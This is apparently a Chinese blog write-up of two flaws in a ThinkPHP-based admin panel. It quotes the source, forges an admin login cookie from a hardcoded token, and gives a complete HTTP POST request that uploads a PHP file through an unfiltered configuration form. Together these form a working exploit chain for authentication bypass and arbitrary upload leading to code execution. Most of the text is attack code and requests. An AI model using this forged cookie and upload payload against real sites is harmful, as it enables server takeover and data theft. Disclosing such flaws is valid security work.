Part.1 构造
在/application/admin/controller/Base.php
<?php
namespace app\admin\controller;
use think\Controller;
use think\Db;
class Base extends Controller
{
public function __construct(){
parent::__construct();
$otype = session('otype');
if($otype && $otype == 3){
/*
if (session('userid') != '1') {
$ip = $_SERVER["REMOTE_ADDR"];
$time = date('Y-m-d H:i:s');
file_put_contents("尝试入侵日志.txt","地址:".$ip."||时间:".$time.PHP_EOL,FILE_APPEND);
die;
}
*/
}
//session_unset();
//验证登录
$login = cookie('denglu');
if(!isset($login['userid'])){
$this->error('请先登录!','login/login',1,1);
}
if(!isset($login['token']) || $login['token'] != md5('nimashabi')){
$this->redirect('login/logout');
}
$request = \think\Request::instance();
$contrname = $request->controller();
$actionname = $request->action();
$params = $request->param();;
$this->assign('contrname',$contrname);
$this->assign('actionname',$actionname);
$this->assign('params',$params);
$this->otype = $login['otype'];
$this->uid = $login['userid'];
$this->uname = $login['username'];
$this->assign('otype',$this->otype);
}
protected function fetch($template = '', $vars = [], $replace = [], $config = [])
{
$replace['__ADMIN__'] = str_replace('/index.php','',\think\Request::instance()->root()).'/static/admin';
return $this->view->fetch($template, $vars, $replace, $config);
}
public function check(){
if($this->otype != 3){
$this->error('无权限操作');
}
}
public function adminLog($msg = '',$type = 2)
{
$data = [
'admin_id' => isset($this->uid) ?$this->uid:0,
'name' => isset($this->uname) ?$this->uname: "无",
'type' => $type,
'controller' => request()->controller(),
'action' => request()->action(),
'info' => $msg,
'ip' => request()->ip(),
'created_at' => date('Y-m-d H:i:s'),
'params' => json_encode(input('param.',JSON_UNESCAPED_UNICODE))
];
Db::name('admin_log')->insert($data);
}
}
在代码中29行,定义了一个token的值,只要登录的token值为md5(nimashabi)。
if(!isset($login['token']) || $login['token'] != md5('nimashabi'))
构造
denglu=think:{"otype":"3","userid":"1","username":"admin","token":"3c341b110c44ad9e7da4160e4f865b63"}
Part.2 任意文件上传
在/application/admin/controller/Setup.php 参数配置文件中未过滤,导致直接可以上传恶意脚本
* 编辑配置/比例
* @author lukui 2017-04-19
* @return [type] [description]
*/
public function editconf()
{
$this->check();
if(input('post.')){
$data = input('post.');
foreach ($data as $k => $v) {
$arr = explode('_',$k);
$_data['id'] = $arr[1];
$_data['value'] = $v;
$file = request()->file('pic_'.$_data['id']);
if($file){
$info = $file->move(ROOT_PATH . 'public' . DS . 'uploads');
if($info){
$_data['value'] = '/public' . DS . 'uploads/'.$info->getSaveName();
}
}
if($_data['value'] == '' && isset($arr[2]) && $arr[2] == 3){
continue;
}
Db::name('config')->update($_data);
}
cache('conf',null);
$this->success('编辑成功');
}
}
POST包如下:
POST /admin/setup/editconf.html HTTP/1.1
Host: xxxx
Content-Length: 14826
Cache-Control: max-age=0
Origin: https://xxxx
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryos3gT80Ff832vVe3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: https://xxx/admin/setup/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:denglu=think%3A%7B%22otype%22%3A%223%22%2C%22userid%22%3A%221%22%2C%22username%22%3A%22admin%22%2C%22token%22%3A%223c341b110c44ad9e7da4160e4f865b63%22%7D
Connection: close
------WebKitFormBoundaryos3gT80Ff832vVe3
Content-Disposition: form-data; name="value_26_2"
------WebKitFormBoundaryos3gT80Ff832vVe3
Content-Disposition: form-data; name="pic_26"; filename="avatar.php"
Content-Type: image/png
DATA
------WebKitFormBoundaryos3gT80Ff832vVe3--
本文作者为彦祖,转载请注明。